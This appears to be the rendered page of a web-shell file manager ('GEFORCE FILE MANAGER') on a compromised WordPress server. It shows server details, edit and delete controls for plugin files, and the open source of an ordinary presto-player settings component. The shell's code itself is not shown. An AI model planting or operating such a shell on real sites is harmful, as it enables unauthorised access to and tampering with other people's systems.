[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
presto-player
/
src
/
admin
/
settings
/
pages
/
parts
/
BunnyStream
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 PrivateStream.js
1,838 B
SET
[ EDIT ]
|
[ DEL ]
📄 PublicStream.js
1,468 B
SET
[ EDIT ]
|
[ DEL ]
📄 index.js
7,457 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: PublicStream.js
import { __ } from "@wordpress/i18n"; import { TextControl } from "@wordpress/components"; import { useEntityProp } from "@wordpress/core-data"; export default () => { const [stream, setStream] = useEntityProp( "root", "site", "presto_player_bunny_stream_public" ); const updateStream = (data) => { setStream({ ...(stream || {}), ...data, }); }; const { video_library_api_key, pull_zone_url, video_library_id } = stream || {}; return ( <> <TextControl label={__("Public Stream Library ID", "presto-player")} help={__("The ID of the video library to use.", "presto-player")} value={video_library_id} onChange={(video_library_id) => updateStream({ video_library_id })} /> <TextControl label={__("Public Stream Library API Key", "presto-player")} help={__( "The API key for the above video library for read/write access.", "presto-player" )} value={video_library_api_key} onChange={(video_library_api_key) => updateStream({ video_library_api_key }) } /> <TextControl label={__("Public Stream CDN Hostname", "presto-player")} help={__( "The public cdn hostname for the video library.", "presto-player" )} value={pull_zone_url} onChange={(pull_zone_url) => updateStream({ pull_zone_url })} /> </> ); };